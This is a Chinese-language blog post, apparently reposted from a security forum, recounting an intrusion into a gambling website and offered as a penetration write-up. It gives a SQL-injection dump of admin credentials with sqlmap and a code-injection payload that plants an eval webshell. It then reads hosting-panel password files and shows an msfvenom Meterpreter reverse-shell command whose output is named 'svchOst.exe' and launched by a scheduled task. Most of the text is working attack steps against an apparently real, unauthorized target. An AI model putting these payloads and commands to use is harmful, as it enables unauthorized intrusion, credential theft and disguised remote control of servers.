一次BC站点的GetShell过程
文章来源:奇安信攻防社区(xq17)原文地址:https://forum.butian.net/share/1225
0x00 前言 bc实战代码审计拿下后台、数据库续这篇文章作者并没有成功GetShell,依稀记得以前遇到一个类似的站点,故打算再续前缘,最终成功拿下目标Shell权限
0x01 获取源码 首先先常规扫一波目录:
dirsearch -u 'http://x.x.x.x:80/' -e php并没有发现有源码压缩包,故放弃这个思路,重新审视文章,获取关键字,去github进行搜索,成功找到部分源码,然后开始进行审计。
Github: ![](https://img-blog.csdnimg.cn/4919037a226249df9f853c592d5ef45f.png)
0x02 进入后台 通过之前的扫描,可以获取到后台登陆地址。 ![](https://img-blog.csdnimg.cn/57fa17c2c0a34985a724c217e075f055.png)
访问可以看到登陆页面。 ![](https://img-blog.csdnimg.cn/ca95399bc7a94c71a358be355b6b0314.png)
没有验证么,果断上一波常规的弱口令FUZZ,无果。那么只能通过源码进行突破了,首先观察网站的后台鉴权逻辑主要是通过包含common/login_check.php进行判断。 <?php@session_start(); //后台登陆验证
if(!isset($_SESSION["adminid"])){ unset($_SESSION["adminid"]); unset($_SESSION["login_pwd"]); unset($_SESSION["quanxian"]); echo "<script>alert('login!!pass');</script>"; exit;}else{ include_once("../../include/mysqlio.php");那么最直接的思路,就是找到一个没有包含这个文件的地方。
find ./ -name "*.php" |xargs grep -L "login_check.php"找到文件Get_Odds_1.php, 发现其中的$type参数直接拼接进SQL语句中,存在注入。
![](https://img-blog.csdnimg.cn/68479519bc7e45808dfde84c878b2e63.png)
正常情况:![](https://img-blog.csdnimg.cn/9b62f7e88bed40a6be4aca9e3cfa19d5.png)
输入单引号,出错:![](https://img-blog.csdnimg.cn/ebae31e3bb5744da98a06d59b109f9f1.png)
SQLMAP 跑出账号密码,,这里虽然是GET类型的SQL注入,但是直接使用sqlmap的-u参数是不行的,需要使用Burp抓包,保存数据包然后用-r参数。 sqlmap -r sql.txt -D dsncly -T sys_admin --dump
0x03 GetShell 进入后台,先尝试黑盒,看看有没有上传功能,不过似乎没有找到可用的上传点。![](https://img-blog.csdnimg.cn/d663c78341b6445a81eac35c3bfac69c.png)
黑盒没找到很明显的办法了,只能进行快速代码审计了,直接全局搜索危险函数eval、file_put_contens、fwrite、fputs等。![](https://img-blog.csdnimg.cn/be6fead2d8c449e1a1570da37cb6fdc5.png)
可以看到这里写入的文件是php文件,且内容可以通过ta_msg参数进行控制,也没有过滤,只有简单的去除两边的空格,这里务必要自己本地进行构造下,避免出现闭合失败的错误。
构造payload: ');eval($_POST[a]);var_dump(md5(1));//;最终写入到文件gp_db.php ![](https://img-blog.csdnimg.cn/5c9fc09a65a84da3ab86bb0a7a8e64e9.png)
成功GetShell![](https://img-blog.csdnimg.cn/e3024dbc8e9647f1a096aab65549dc90.png)
0x04 宝塔提权 通过phpinfo,可以看到disable_function,同时通过nmap扫描端口,可知目标存在宝塔。
不过幸运的是,shell的权限还是蛮高的,可以浏览到宝塔的目录。 ![](https://img-blog.csdnimg.cn/d6e58d7e1f034325911e942b98e840ba.png)
获取密码:D:/BtSoft1/panel/data/default.pl开放端口:D:/BtSoft1/panel/data/port.pl后台地址:D:/BtSoft1/panel/data/admin_path.pl获取账号:D:/BtSoft1/panel/data/default.db通过上面步骤获取到的账号和密码,登陆到后台http://xxxx:8888/Tajl2eP0/ ![](https://img-blog.csdnimg.cn/a4c53b4d4e6a4e45b3d6b4b6dc77b8e7.png)
登陆进去之后会弹出强制绑定窗口,可以通过直接访问/site来绕过这个。
下面有两种思路进行提权:1) 通过软件管理->已安装,删除禁用函数,来实现命令执行。
![](https://img-blog.csdnimg.cn/b46456449815438b8fa53fa2948817b9.png)
![](https://img-blog.csdnimg.cn/55e0f06bc0134deaa9e646494ad598ad.png)
2) 通过宝塔自带的计划任务。MSF生成木马
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=x.x.x.x LPORT=10001 EXTENSIONS=stdapi,priv -f exe > svchOst.exe放到C盘即可,然后添加shell计划任务
![](https://img-blog.csdnimg.cn/45ba6b60f96d43c1ac2c2e70f76c90d3.png)
ipconfig /all 查看网络状态![](https://img-blog.csdnimg.cn/646c8e563f8740309e1b7cb571ecbc32.png)
简单查看下arp -a和扫描下内网网段的存活情况,并没有连通,故没有继续后续的内网渗透测试。
0x05 总结 本文的渗透过程比较常规,涵盖了从0到1的完整单目标渗透过程,核心在于快速的代码审计能力,由于这个系统开发比较凌乱,所以故不能采用框架的方式去阅读,故采用危险函数定位是一种有效的方法,最后通过利用宝塔的信息,成功获取到最高的权限,完成渗透测试的目标。
|